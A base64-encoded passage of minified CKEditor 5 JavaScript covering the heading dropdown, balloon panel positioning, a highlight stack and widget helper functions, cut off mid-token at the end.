LmNvbXBvbmVudEZhY3RvcnkuYWRkKCJoZWFkaW5nIiwoZT0+e2NvbnN0IHI9e307Y29uc3Qgcz1uZXcgdnM7Y29uc3QgYT10LmNvbW1hbmRzLmdldCgiaGVhZGluZyIpO2NvbnN0IGM9dC5jb21tYW5kcy5nZXQoInBhcmFncmFwaCIpO2NvbnN0IGw9W2FdO2Zvcihjb25zdCB0IG9mIG4pe2NvbnN0IGU9e3R5cGU6ImJ1dHRvbiIsbW9kZWw6bmV3IEFfKHtsYWJlbDp0LnRpdGxlLGNsYXNzOnQuY2xhc3Msd2l0aFRleHQ6dHJ1ZX0pfTtpZih0Lm1vZGVsPT09InBhcmFncmFwaCIpe2UubW9kZWwuYmluZCgiaXNPbiIpLnRvKGMsInZhbHVlIik7ZS5tb2RlbC5zZXQoImNvbW1hbmROYW1lIiwicGFyYWdyYXBoIik7bC5wdXNoKGMpfWVsc2V7ZS5tb2RlbC5iaW5kKCJpc09uIikudG8oYSwidmFsdWUiLChlPT5lPT09dC5tb2RlbCkpO2UubW9kZWwuc2V0KHtjb21tYW5kTmFtZToiaGVhZGluZyIsY29tbWFuZFZhbHVlOnQubW9kZWx9KX1zLmFkZChlKTtyW3QubW9kZWxdPXQudGl0bGV9Y29uc3QgZD1OdyhlKTtQdyhkLHMpO2QuYnV0dG9uVmlldy5zZXQoe2lzT246ZmFsc2Usd2l0aFRleHQ6dHJ1ZSx0b29sdGlwOm99KTtkLmV4dGVuZFRlbXBsYXRlKHthdHRyaWJ1dGVzOntjbGFzczpbImNrLWhlYWRpbmctZHJvcGRvd24iXX19KTtkLmJpbmQoImlzRW5hYmxlZCIpLnRvTWFueShsLCJpc0VuYWJsZWQiLCgoLi4udCk9PnQuc29tZSgodD0+dCkpKSk7ZC5idXR0b25WaWV3LmJpbmQoImxhYmVsIikudG8oYSwidmFsdWUiLGMsInZhbHVlIiwoKHQsZSk9Pntjb25zdCBuPXR8fGUmJiJwYXJhZ3JhcGgiO3JldHVybiByW25dP3Jbbl06aX0pKTt0aGlzLmxpc3RlblRvKGQsImV4ZWN1dGUiLChlPT57dC5leGVjdXRlKGUuc291cmNlLmNvbW1hbmROYW1lLGUuc291cmNlLmNvbW1hbmRWYWx1ZT97dmFsdWU6ZS5zb3VyY2UuY29tbWFuZFZhbHVlfTp1bmRlZmluZWQpO3QuZWRpdGluZy52aWV3LmZvY3VzKCl9KSk7cmV0dXJuIGR9KSl9fWNsYXNzIE1fIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltDXyxFX119c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkhlYWRpbmcifX1jbGFzcyBTXyBleHRlbmRzIHR1e29ic2VydmUodCl7dGhpcy5saXN0ZW5Ubyh0LCJsb2FkIiwoKHQsZSk9Pntjb25zdCBuPWUudGFyZ2V0O2lmKHRoaXMuY2hlY2tTaG91bGRJZ25vcmVFdmVudEZyb21UYXJnZXQobikpe3JldHVybn1pZihuLnRhZ05hbWU9PSJJTUciKXt0aGlzLl9maXJlRXZlbnRzKGUpfX0pLHt1c2VDYXB0dXJlOnRydWV9KX1fZmlyZUV2ZW50cyh0KXtpZih0aGlzLmlzRW5hYmxlZCl7dGhpcy5kb2N1bWVudC5maXJlKCJsYXlvdXRDaGFuZ2VkIik7dGhpcy5kb2N1bWVudC5maXJlKCJpbWFnZUxvYWRlZCIsdCl9fX1jbGFzcyBUX3tjb25zdHJ1Y3Rvcigpe3RoaXMuX3N0YWNrPVtdfWFkZCh0LGUpe2NvbnN0IG49dGhpcy5fc3RhY2s7Y29uc3QgaT1uWzBdO3RoaXMuX2luc2VydERlc2NyaXB0b3IodCk7Y29uc3Qgbz1uWzBdO2lmKGkhPT1vJiYhSV8oaSxvKSl7dGhpcy5maXJlKCJjaGFuZ2U6dG9wIix7b2xkRGVzY3JpcHRvcjppLG5ld0Rlc2NyaXB0b3I6byx3cml0ZXI6ZX0pfX1yZW1vdmUodCxlKXtjb25zdCBuPXRoaXMuX3N0YWNrO2NvbnN0IGk9blswXTt0aGlzLl9yZW1vdmVEZXNjcmlwdG9yKHQpO2NvbnN0IG89blswXTtpZihpIT09byYmIUlfKGksbykpe3RoaXMuZmlyZSgiY2hhbmdlOnRvcCIse29sZERlc2NyaXB0b3I6aSxuZXdEZXNjcmlwdG9yOm8sd3JpdGVyOmV9KX19X2luc2VydERlc2NyaXB0b3IodCl7Y29uc3QgZT10aGlzLl9zdGFjaztjb25zdCBuPWUuZmluZEluZGV4KChlPT5lLmlkPT09dC5pZCkpO2lmKElfKHQsZVtuXSkpe3JldHVybn1pZihuPi0xKXtlLnNwbGljZShuLDEpfWxldCBpPTA7d2hpbGUoZVtpXSYmTl8oZVtpXSx0KSl7aSsrfWUuc3BsaWNlKGksMCx0KX1fcmVtb3ZlRGVzY3JpcHRvcih0KXtjb25zdCBlPXRoaXMuX3N0YWNrO2NvbnN0IG49ZS5maW5kSW5kZXgoKGU9PmUuaWQ9PT10KSk7aWYobj4tMSl7ZS5zcGxpY2UobiwxKX19fV9zKFRfLGRzKTtmdW5jdGlvbiBJXyh0LGUpe3JldHVybiB0JiZlJiZ0LnByaW9yaXR5PT1lLnByaW9yaXR5JiZCXyh0LmNsYXNzZXMpPT1CXyhlLmNsYXNzZXMpfWZ1bmN0aW9uIE5fKHQsZSl7aWYodC5wcmlvcml0eT5lLnByaW9yaXR5KXtyZXR1cm4gdHJ1ZX1lbHNlIGlmKHQucHJpb3JpdHk8ZS5wcmlvcml0eSl7cmV0dXJuIGZhbHNlfXJldHVybiBCXyh0LmNsYXNzZXMpPkJfKGUuY2xhc3Nlcyl9ZnVuY3Rpb24gQl8odCl7cmV0dXJuIEFycmF5LmlzQXJyYXkodCk/dC5zb3J0KCkuam9pbigiLCIpOnR9dmFyIFBfPW4oMjkpO3ZhciB6Xz17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O3pfLmluc2VydD0iaGVhZCI7el8uc2luZ2xldG9uPXRydWU7dmFyIExfPXJrKCkoUF9bImEiXSx6Xyk7dmFyIE9fPVBfWyJhIl0ubG9jYWxzfHx7fTtjb25zdCBSXz13YigicHgiKTtjb25zdCBqXz1qZC5kb2N1bWVudC5ib2R5O2NsYXNzIEZfIGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7Y29uc3QgZT10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLnNldCgidG9wIiwwKTt0aGlzLnNldCgibGVmdCIsMCk7dGhpcy5zZXQoInBvc2l0aW9uIiwiYXJyb3dfbnciKTt0aGlzLnNldCgiaXNWaXNpYmxlIixmYWxzZSk7dGhpcy5zZXQoIndpdGhBcnJvdyIsdHJ1ZSk7dGhpcy5zZXQoImNsYXNzIik7dGhpcy5jb250ZW50PXRoaXMuY3JlYXRlQ29sbGVjdGlvbigpO3RoaXMuc2V0VGVtcGxhdGUoe3RhZzoiZGl2IixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stYmFsbG9vbi1wYW5lbCIsZS50bygicG9zaXRpb24iLCh0PT5gY2stYmFsbG9vbi1wYW5lbF8ke3R9YCkpLGUuaWYoImlzVmlzaWJsZSIsImNrLWJhbGxvb24tcGFuZWxfdmlzaWJsZSIpLGUuaWYoIndpdGhBcnJvdyIsImNrLWJhbGxvb24tcGFuZWxfd2l0aC1hcnJvdyIpLGUudG8oImNsYXNzIildLHN0eWxlOnt0b3A6ZS50bygidG9wIixSXyksbGVmdDplLnRvKCJsZWZ0IixSXyl9fSxjaGlsZHJlbjp0aGlzLmNvbnRlbnR9KX1zaG93KCl7dGhpcy5pc1Zpc2libGU9dHJ1ZX1oaWRlKCl7dGhpcy5pc1Zpc2libGU9ZmFsc2V9YXR0YWNoVG8odCl7dGhpcy5zaG93KCk7Y29uc3QgZT1GXy5kZWZhdWx0UG9zaXRpb25zO2NvbnN0IG49T2JqZWN0LmFzc2lnbih7fSx7ZWxlbWVudDp0aGlzLmVsZW1lbnQscG9zaXRpb25zOltlLnNvdXRoQXJyb3dOb3J0aCxlLnNvdXRoQXJyb3dOb3J0aE1pZGRsZVdlc3QsZS5zb3V0aEFycm93Tm9ydGhNaWRkbGVFYXN0LGUuc291dGhBcnJvd05vcnRoV2VzdCxlLnNvdXRoQXJyb3dOb3J0aEVhc3QsZS5ub3J0aEFycm93U291dGgsZS5ub3J0aEFycm93U291dGhNaWRkbGVXZXN0LGUubm9ydGhBcnJvd1NvdXRoTWlkZGxlRWFzdCxlLm5vcnRoQXJyb3dTb3V0aFdlc3QsZS5ub3J0aEFycm93U291dGhFYXN0XSxsaW1pdGVyOmpfLGZpdEluVmlld3BvcnQ6dHJ1ZX0sdCk7Y29uc3QgaT1GXy5fZ2V0T3B0aW1hbFBvc2l0aW9uKG4pO2NvbnN0IG89cGFyc2VJbnQoaS5sZWZ0KTtjb25zdCByPXBhcnNlSW50KGkudG9wKTtjb25zdCBzPWkubmFtZTtPYmplY3QuYXNzaWduKHRoaXMse3RvcDpyLGxlZnQ6byxwb3NpdGlvbjpzfSl9cGluKHQpe3RoaXMudW5waW4oKTt0aGlzLl9waW5XaGVuSXNWaXNpYmxlQ2FsbGJhY2s9KCk9PntpZih0aGlzLmlzVmlzaWJsZSl7dGhpcy5fc3RhcnRQaW5uaW5nKHQpfWVsc2V7dGhpcy5fc3RvcFBpbm5pbmcoKX19O3RoaXMuX3N0YXJ0UGlubmluZyh0KTt0aGlzLmxpc3RlblRvKHRoaXMsImNoYW5nZTppc1Zpc2libGUiLHRoaXMuX3BpbldoZW5Jc1Zpc2libGVDYWxsYmFjayl9dW5waW4oKXtpZih0aGlzLl9waW5XaGVuSXNWaXNpYmxlQ2FsbGJhY2spe3RoaXMuX3N0b3BQaW5uaW5nKCk7dGhpcy5zdG9wTGlzdGVuaW5nKHRoaXMsImNoYW5nZTppc1Zpc2libGUiLHRoaXMuX3BpbldoZW5Jc1Zpc2libGVDYWxsYmFjayk7dGhpcy5fcGluV2hlbklzVmlzaWJsZUNhbGxiYWNrPW51bGw7dGhpcy5oaWRlKCl9fV9zdGFydFBpbm5pbmcodCl7dGhpcy5hdHRhY2hUbyh0KTtjb25zdCBlPVZfKHQudGFyZ2V0KTtjb25zdCBuPXQubGltaXRlcj9WXyh0LmxpbWl0ZXIpOmpfO3RoaXMubGlzdGVuVG8oamQuZG9jdW1lbnQsInNjcm9sbCIsKChpLG8pPT57Y29uc3Qgcj1vLnRhcmdldDtjb25zdCBzPWUmJnIuY29udGFpbnMoZSk7Y29uc3QgYT1uJiZyLmNvbnRhaW5zKG4pO2lmKHN8fGF8fCFlfHwhbil7dGhpcy5hdHRhY2hUbyh0KX19KSx7dXNlQ2FwdHVyZTp0cnVlfSk7dGhpcy5saXN0ZW5UbyhqZC53aW5kb3csInJlc2l6ZSIsKCgpPT57dGhpcy5hdHRhY2hUbyh0KX0pKX1fc3RvcFBpbm5pbmcoKXt0aGlzLnN0b3BMaXN0ZW5pbmcoamQuZG9jdW1lbnQsInNjcm9sbCIpO3RoaXMuc3RvcExpc3RlbmluZyhqZC53aW5kb3csInJlc2l6ZSIpfX1mdW5jdGlvbiBWXyh0KXtpZihZcih0KSl7cmV0dXJuIHR9aWYoeWgodCkpe3JldHVybiB0LmNvbW1vbkFuY2VzdG9yQ29udGFpbmVyfWlmKHR5cGVvZiB0PT0iZnVuY3Rpb24iKXtyZXR1cm4gVl8odCgpKX1yZXR1cm4gbnVsbH1GXy5hcnJvd0hvcml6b250YWxPZmZzZXQ9MjU7Rl8uYXJyb3dWZXJ0aWNhbE9mZnNldD0xMDtGXy5fZ2V0T3B0aW1hbFBvc2l0aW9uPUZiO0ZfLmRlZmF1bHRQb3NpdGlvbnM9e25vcnRoV2VzdEFycm93U291dGhXZXN0Oih0LGUpPT4oe3RvcDpVXyh0LGUpLGxlZnQ6dC5sZWZ0LUZfLmFycm93SG9yaXpvbnRhbE9mZnNldCxuYW1lOiJhcnJvd19zdyJ9KSxub3J0aFdlc3RBcnJvd1NvdXRoTWlkZGxlV2VzdDoodCxlKT0+KHt0b3A6VV8odCxlKSxsZWZ0OnQubGVmdC1lLndpZHRoKi4yNS1GXy5hcnJvd0hvcml6b250YWxPZmZzZXQsbmFtZToiYXJyb3dfc213In0pLG5vcnRoV2VzdEFycm93U291dGg6KHQsZSk9Pih7dG9wOlVfKHQsZSksbGVmdDp0LmxlZnQtZS53aWR0aC8yLG5hbWU6ImFycm93X3MifSksbm9ydGhXZXN0QXJyb3dTb3V0aE1pZGRsZUVhc3Q6KHQsZSk9Pih7dG9wOlVfKHQsZSksbGVmdDp0LmxlZnQtZS53aWR0aCouNzUrRl8uYXJyb3dIb3Jpem9udGFsT2Zmc2V0LG5hbWU6ImFycm93X3NtZSJ9KSxub3J0aFdlc3RBcnJvd1NvdXRoRWFzdDoodCxlKT0+KHt0b3A6VV8odCxlKSxsZWZ0OnQubGVmdC1lLndpZHRoK0ZfLmFycm93SG9yaXpvbnRhbE9mZnNldCxuYW1lOiJhcnJvd19zZSJ9KSxub3J0aEFycm93U291dGhXZXN0Oih0LGUpPT4oe3RvcDpVXyh0LGUpLGxlZnQ6dC5sZWZ0K3Qud2lkdGgvMi1GXy5hcnJvd0hvcml6b250YWxPZmZzZXQsbmFtZToiYXJyb3dfc3cifSksbm9ydGhBcnJvd1NvdXRoTWlkZGxlV2VzdDoodCxlKT0+KHt0b3A6VV8odCxlKSxsZWZ0OnQubGVmdCt0LndpZHRoLzItZS53aWR0aCouMjUtRl8uYXJyb3dIb3Jpem9udGFsT2Zmc2V0LG5hbWU6ImFycm93X3NtdyJ9KSxub3J0aEFycm93U291dGg6KHQsZSk9Pih7dG9wOlVfKHQsZSksbGVmdDp0LmxlZnQrdC53aWR0aC8yLWUud2lkdGgvMixuYW1lOiJhcnJvd19zIn0pLG5vcnRoQXJyb3dTb3V0aE1pZGRsZUVhc3Q6KHQsZSk9Pih7dG9wOlVfKHQsZSksbGVmdDp0LmxlZnQrdC53aWR0aC8yLWUud2lkdGgqLjc1K0ZfLmFycm93SG9yaXpvbnRhbE9mZnNldCxuYW1lOiJhcnJvd19zbWUifSksbm9ydGhBcnJvd1NvdXRoRWFzdDoodCxlKT0+KHt0b3A6VV8odCxlKSxsZWZ0OnQubGVmdCt0LndpZHRoLzItZS53aWR0aCtGXy5hcnJvd0hvcml6b250YWxPZmZzZXQsbmFtZToiYXJyb3dfc2UifSksbm9ydGhFYXN0QXJyb3dTb3V0aFdlc3Q6KHQsZSk9Pih7dG9wOlVfKHQsZSksbGVmdDp0LnJpZ2h0LUZfLmFycm93SG9yaXpvbnRhbE9mZnNldCxuYW1lOiJhcnJvd19zdyJ9KSxub3J0aEVhc3RBcnJvd1NvdXRoTWlkZGxlV2VzdDoodCxlKT0+KHt0b3A6VV8odCxlKSxsZWZ0OnQucmlnaHQtZS53aWR0aCouMjUtRl8uYXJyb3dIb3Jpem9udGFsT2Zmc2V0LG5hbWU6ImFycm93X3NtdyJ9KSxub3J0aEVhc3RBcnJvd1NvdXRoOih0LGUpPT4oe3RvcDpVXyh0LGUpLGxlZnQ6dC5yaWdodC1lLndpZHRoLzIsbmFtZToiYXJyb3dfcyJ9KSxub3J0aEVhc3RBcnJvd1NvdXRoTWlkZGxlRWFzdDoodCxlKT0+KHt0b3A6VV8odCxlKSxsZWZ0OnQucmlnaHQtZS53aWR0aCouNzUrRl8uYXJyb3dIb3Jpem9udGFsT2Zmc2V0LG5hbWU6ImFycm93X3NtZSJ9KSxub3J0aEVhc3RBcnJvd1NvdXRoRWFzdDoodCxlKT0+KHt0b3A6VV8odCxlKSxsZWZ0OnQucmlnaHQtZS53aWR0aCtGXy5hcnJvd0hvcml6b250YWxPZmZzZXQsbmFtZToiYXJyb3dfc2UifSksc291dGhXZXN0QXJyb3dOb3J0aFdlc3Q6KHQsZSk9Pih7dG9wOkhfKHQsZSksbGVmdDp0LmxlZnQtRl8uYXJyb3dIb3Jpem9udGFsT2Zmc2V0LG5hbWU6ImFycm93X253In0pLHNvdXRoV2VzdEFycm93Tm9ydGhNaWRkbGVXZXN0Oih0LGUpPT4oe3RvcDpIXyh0LGUpLGxlZnQ6dC5sZWZ0LWUud2lkdGgqLjI1LUZfLmFycm93SG9yaXpvbnRhbE9mZnNldCxuYW1lOiJhcnJvd19ubXcifSksc291dGhXZXN0QXJyb3dOb3J0aDoodCxlKT0+KHt0b3A6SF8odCxlKSxsZWZ0OnQubGVmdC1lLndpZHRoLzIsbmFtZToiYXJyb3dfbiJ9KSxzb3V0aFdlc3RBcnJvd05vcnRoTWlkZGxlRWFzdDoodCxlKT0+KHt0b3A6SF8odCxlKSxsZWZ0OnQubGVmdC1lLndpZHRoKi43NStGXy5hcnJvd0hvcml6b250YWxPZmZzZXQsbmFtZToiYXJyb3dfbm1lIn0pLHNvdXRoV2VzdEFycm93Tm9ydGhFYXN0Oih0LGUpPT4oe3RvcDpIXyh0LGUpLGxlZnQ6dC5sZWZ0LWUud2lkdGgrRl8uYXJyb3dIb3Jpem9udGFsT2Zmc2V0LG5hbWU6ImFycm93X25lIn0pLHNvdXRoQXJyb3dOb3J0aFdlc3Q6KHQsZSk9Pih7dG9wOkhfKHQsZSksbGVmdDp0LmxlZnQrdC53aWR0aC8yLUZfLmFycm93SG9yaXpvbnRhbE9mZnNldCxuYW1lOiJhcnJvd19udyJ9KSxzb3V0aEFycm93Tm9ydGhNaWRkbGVXZXN0Oih0LGUpPT4oe3RvcDpIXyh0LGUpLGxlZnQ6dC5sZWZ0K3Qud2lkdGgvMi1lLndpZHRoKi4yNS1GXy5hcnJvd0hvcml6b250YWxPZmZzZXQsbmFtZToiYXJyb3dfbm13In0pLHNvdXRoQXJyb3dOb3J0aDoodCxlKT0+KHt0b3A6SF8odCxlKSxsZWZ0OnQubGVmdCt0LndpZHRoLzItZS53aWR0aC8yLG5hbWU6ImFycm93X24ifSksc291dGhBcnJvd05vcnRoTWlkZGxlRWFzdDoodCxlKT0+KHt0b3A6SF8odCxlKSxsZWZ0OnQubGVmdCt0LndpZHRoLzItZS53aWR0aCouNzUrRl8uYXJyb3dIb3Jpem9udGFsT2Zmc2V0LG5hbWU6ImFycm93X25tZSJ9KSxzb3V0aEFycm93Tm9ydGhFYXN0Oih0LGUpPT4oe3RvcDpIXyh0LGUpLGxlZnQ6dC5sZWZ0K3Qud2lkdGgvMi1lLndpZHRoK0ZfLmFycm93SG9yaXpvbnRhbE9mZnNldCxuYW1lOiJhcnJvd19uZSJ9KSxzb3V0aEVhc3RBcnJvd05vcnRoV2VzdDoodCxlKT0+KHt0b3A6SF8odCxlKSxsZWZ0OnQucmlnaHQtRl8uYXJyb3dIb3Jpem9udGFsT2Zmc2V0LG5hbWU6ImFycm93X253In0pLHNvdXRoRWFzdEFycm93Tm9ydGhNaWRkbGVXZXN0Oih0LGUpPT4oe3RvcDpIXyh0LGUpLGxlZnQ6dC5yaWdodC1lLndpZHRoKi4yNS1GXy5hcnJvd0hvcml6b250YWxPZmZzZXQsbmFtZToiYXJyb3dfbm13In0pLHNvdXRoRWFzdEFycm93Tm9ydGg6KHQsZSk9Pih7dG9wOkhfKHQsZSksbGVmdDp0LnJpZ2h0LWUud2lkdGgvMixuYW1lOiJhcnJvd19uIn0pLHNvdXRoRWFzdEFycm93Tm9ydGhNaWRkbGVFYXN0Oih0LGUpPT4oe3RvcDpIXyh0LGUpLGxlZnQ6dC5yaWdodC1lLndpZHRoKi43NStGXy5hcnJvd0hvcml6b250YWxPZmZzZXQsbmFtZToiYXJyb3dfbm1lIn0pLHNvdXRoRWFzdEFycm93Tm9ydGhFYXN0Oih0LGUpPT4oe3RvcDpIXyh0LGUpLGxlZnQ6dC5yaWdodC1lLndpZHRoK0ZfLmFycm93SG9yaXpvbnRhbE9mZnNldCxuYW1lOiJhcnJvd19uZSJ9KX07ZnVuY3Rpb24gVV8odCxlKXtyZXR1cm4gdC50b3AtZS5oZWlnaHQtRl8uYXJyb3dWZXJ0aWNhbE9mZnNldH1mdW5jdGlvbiBIXyh0KXtyZXR1cm4gdC5ib3R0b20rRl8uYXJyb3dWZXJ0aWNhbE9mZnNldH12YXIgR189Jzxzdmcgdmlld0JveD0iMCAwIDE2IDE2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik00IDB2MUgxdjNIMFYuNUEuNS41IDAgMCAxIC41IDBINHptOCAwaDMuNWEuNS41IDAgMCAxIC41LjVWNGgtMVYxaC0zVjB6TTQgMTZILjVhLjUuNSAwIDAgMS0uNS0uNVYxMmgxdjNoM3Yxem04IDB2LTFoM3YtM2gxdjMuNWEuNS41IDAgMCAxLS41LjVIMTJ6Ii8+PHBhdGggZmlsbC1vcGFjaXR5PSIuMjU2IiBkPSJNMSAxaDE0djE0SDF6Ii8+PGcgY2xhc3M9ImNrLWljb25fX3NlbGVjdGVkLWluZGljYXRvciI+PHBhdGggZD0iTTcgMGgydjFIN1Ywek0wIDdoMXYySDBWN3ptMTUgMGgxdjJoLTFWN3ptLTggOGgydjFIN3YtMXoiLz48cGF0aCBmaWxsLW9wYWNpdHk9Ii4yNTQiIGQ9Ik0xIDFoMTR2MTRIMXoiLz48L2c+PC9zdmc+Jztjb25zdCBXXz0id2lkZ2V0LXR5cGUtYXJvdW5kIjtmdW5jdGlvbiBLXyh0LGUsbil7cmV0dXJuIHQmJlhfKHQpJiYhbi5pc0lubGluZShlKX1mdW5jdGlvbiBxXyh0KXtyZXR1cm4gdC5jbG9zZXN0KCIuY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uIil9ZnVuY3Rpb24gWV8odCl7cmV0dXJuIHQuY2xhc3NMaXN0LmNvbnRhaW5zKCJjay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b25fYmVmb3JlIik/ImJlZm9yZSI6ImFmdGVyIn1mdW5jdGlvbiBRXyh0LGUpe2NvbnN0IG49dC5jbG9zZXN0KCIuY2std2lkZ2V0Iik7cmV0dXJuIGUubWFwRG9tVG9WaWV3KG4pfWZ1bmN0aW9uICRfKHQpe3JldHVybiB0LmdldEF0dHJpYnV0ZShXXyl9Y29uc3QgSl89ImNrLXdpZGdldCI7Y29uc3QgWl89ImNrLXdpZGdldF9zZWxlY3RlZCI7ZnVuY3Rpb24gWF8odCl7aWYoIXQuaXMoImVsZW1lbnQiKSl7cmV0dXJuIGZhbHNlfXJldHVybiEhdC5nZXRDdXN0b21Qcm9wZXJ0eSgid2lkZ2V0Iil9ZnVuY3Rpb24gdHYodCxlLG49e30pe2lmKCF0LmlzKCJjb250YWluZXJFbGVtZW50Iikpe3Rocm93IG5ldyBzc1siYSJdKCJ3aWRnZXQtdG8td2lkZ2V0LXdyb25nLWVsZW1lbnQtdHlwZSIsbnVsbCx7ZWxlbWVudDp0fSl9ZS5zZXRBdHRyaWJ1dGUoImNvbnRlbnRlZGl0YWJsZSIsImZhbHNlIix0KTtlLmFkZENsYXNzKEpfLHQpO2Uuc2V0Q3VzdG9tUHJvcGVydHkoIndpZGdldCIsdHJ1ZSx0KTt0LmdldEZpbGxlck9mZnNldD1jdjtpZihuLmxhYmVsKXtudih0LG4ubGFiZWwsZSl9aWYobi5oYXNTZWxlY3Rpb25IYW5kbGUpe2x2KHQsZSl9ZXYodCxlLCgodCxlLG4pPT5uLmFkZENsYXNzKHhzKGUuY2xhc3NlcyksdCkpLCgodCxlLG4pPT5uLnJlbW92ZUNsYXNzKHhzKGUuY2xhc3NlcyksdCkpKTtyZXR1cm4gdH1mdW5jdGlvbiBldih0LGUsbixpKXtjb25zdCBvPW5ldyBUXztvLm9uKCJjaGFuZ2U6dG9wIiwoKGUsbyk9PntpZihvLm9sZERlc2NyaXB0b3Ipe2kodCxvLm9sZERlc2NyaXB0b3Isby53cml0ZXIpfWlmKG8ubmV3RGVzY3JpcHRvcil7bih0LG8ubmV3RGVzY3JpcHRvcixvLndyaXRlcil9fSkpO2Uuc2V0Q3VzdG9tUHJvcGVydHkoImFkZEhpZ2hsaWdodCIsKCh0LGUsbik9Pm8uYWRkKGUsbikpLHQpO2Uuc2V0Q3VzdG9tUHJvcGVydHkoInJlbW92ZUhpZ2hsaWdodCIsKCh0LGUsbik9Pm8ucmVtb3ZlKGUsbikpLHQpfWZ1bmN0aW9uIG52KHQsZSxuKXtuLnNldEN1c3RvbVByb3BlcnR5KCJ3aWRnZXRMYWJlbCIsZSx0KX1mdW5jdGlvbiBpdih0KXtjb25zdCBlPXQuZ2V0Q3VzdG9tUHJvcGVydHkoIndpZGdldExhYmVsIik7aWYoIWUpe3JldHVybiIifXJldHVybiB0eXBlb2YgZT09ImZ1bmN0aW9uIj9lKCk6ZX1mdW5jdGlvbiBvdih0LGUpe2UuYWRkQ2xhc3MoWyJjay1lZGl0b3JfX2VkaXRhYmxlIiwiY2stZWRpdG9yX19uZXN0ZWQtZWRpdGFibGUiXSx0KTtlLnNldEF0dHJpYnV0ZSgiY29udGVudGVkaXRhYmxlIix0LmlzUmVhZE9ubHk/ImZhbHNlIjoidHJ1ZSIsdCk7dC5vbigiY2hhbmdlOmlzUmVhZE9ubHkiLCgobixpLG8pPT57ZS5zZXRBdHRyaWJ1dGUoImNvbnRlbnRlZGl0YWJsZSIsbz8iZmFsc2UiOiJ0cnVlIix0KX0pKTt0Lm9uKCJjaGFuZ2U6aXNGb2N1c2VkIiwoKG4saSxvKT0+e2lmKG8pe2UuYWRkQ2xhc3MoImNrLWVkaXRvcl9fbmVzdGVkLWVkaXRhYmxlX2ZvY3VzZWQiLHQpfWVsc2V7ZS5yZW1vdmVDbGFzcygiY2stZWRpdG9yX19uZXN0ZWQtZWRpdGFibGVfZm9jdXNlZCIsdCl9fSkpO3JldHVybiB0fWZ1bmN0aW9uIHJ2KHQsZSl7Y29uc3Qgbj10LmdldFNlbGVjdGVkRWxlbWVudCgpO2lmKG4pe2NvbnN0IGk9JF8odCk7aWYoaSl7cmV0dXJuIGUuY3JlYXRlUG9zaXRpb25BdChuLGkpfWlmKGUuc2NoZW1hLmlzQmxvY2sobikpe3JldHVybiBlLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIobil9fWNvbnN0IGk9dC5nZXRTZWxlY3RlZEJsb2NrcygpLm5leHQoKS52YWx1ZTtpZihpKXtpZihpLmlzRW1wdHkpe3JldHVybiBlLmNyZWF0ZVBvc2l0aW9uQXQoaSwwKX1jb25zdCBuPWUuY3JlYXRlUG9zaXRpb25BZnRlcihpKTtpZih0LmZvY3VzLmlzVG91Y2hpbmcobikpe3JldHVybiBufXJldHVybiBlLmNyZWF0ZVBvc2l0aW9uQmVmb3JlKGkpfXJldHVybiB0LmZvY3VzfWZ1bmN0aW9uIHN2KHQsZSl7cmV0dXJuKG4saSk9Pntjb25zdHttYXBwZXI6byx2aWV3UG9zaXRpb246cn09aTtjb25zdCBzPW8uZmluZE1hcHBlZFZpZXdBbmNlc3RvcihyKTtpZighZShzKSl7cmV0dXJufWNvbnN0IGE9by50b01vZGVsRWxlbWVudChzKTtpLm1vZGVsUG9zaXRpb249dC5jcmVhdGVQb3NpdGlvbkF0KGEsci5pc0F0U3RhcnQ/ImJlZm9yZSI6ImFmdGVyIil9fWZ1bmN0aW9uIGF2KHQsZSl7Y29uc3Qgbj1uZXcgRWgoamQud2luZG93KTtjb25zdCBpPW4uZ2V0SW50ZXJzZWN0aW9uKHQpO2NvbnN0IG89ZS5oZWlnaHQrRl8uYXJyb3dWZXJ0aWNhbE9mZnNldDtpZih0LnRvcC1vPm4udG9wfHx0LmJvdHRvbStvPG4uYm90dG9tKXtyZXR1cm4gbnVsbH1jb25zdCByPWl8fHQ7Y29uc3Qgcz1yLmxlZnQrci53aWR0aC8yLWUud2lkdGgvMjtyZXR1cm57dG9wOk1hdGgubWF4KHQudG9wLDApK0ZfLmFycm93VmVydGljYWxPZmZzZXQsbGVmdDpzLG5hbWU6ImFycm93X24ifX1mdW5jdGlvbiBjdigpe3JldHVybiBudWxsfWZ1bmN0aW9uIGx2KHQsZSl7Y29uc3Qgbj1lLmNyZWF0ZVVJRWxlbWVudCgiZGl2Iix7Y2xhc3M6ImNrIGNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZSJ9LChmdW5jdGlvbih0KXtjb25zdCBlPXRoaXMudG9Eb21FbGVtZW50KHQpO2NvbnN0IG49bmV3IFpiO24uc2V0KCJjb250ZW50IixHXyk7bi5yZW5kZXIoKTtlLmFwcGVuZENoaWxkKG4uZWxlbWVudCk7cmV0dXJuIGV9KSk7ZS5pbnNlcnQoZS5jcmVhdGVQb3NpdGlvbkF0KHQsMCksbik7ZS5hZGRDbGFzcyhbImNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUiXSx0KX1mdW5jdGlvbiBkdih0LGUsbil7ZS5zZXRDdXN0b21Qcm9wZXJ0eSgiaW1hZ2UiLHRydWUsdCk7cmV0dXJuIHR2KHQsZSx7bGFiZWw6aX0pO2Z1bmN0aW9uIGkoKXtjb25zdCBlPXB2KHQpO2NvbnN0IGk9ZS5nZXRBdHRyaWJ1dGUoImFsdCIpO3JldHVybiBpP2Ake2l9ICR7bn1gOm59fWZ1bmN0aW9uIHV2KHQpe3JldHVybiEhdC5nZXRDdXN0b21Qcm9wZXJ0eSgiaW1hZ2UiKSYmWF8odCl9ZnVuY3Rpb24gaHYodCl7Y29uc3QgZT10LmdldFNlbGVjdGVkRWxlbWVudCgpO2lmKGUmJnV2KGUpKXtyZXR1cm4gZX1yZXR1cm4gbnVsbH1mdW5jdGlvbiBmdih0KXtyZXR1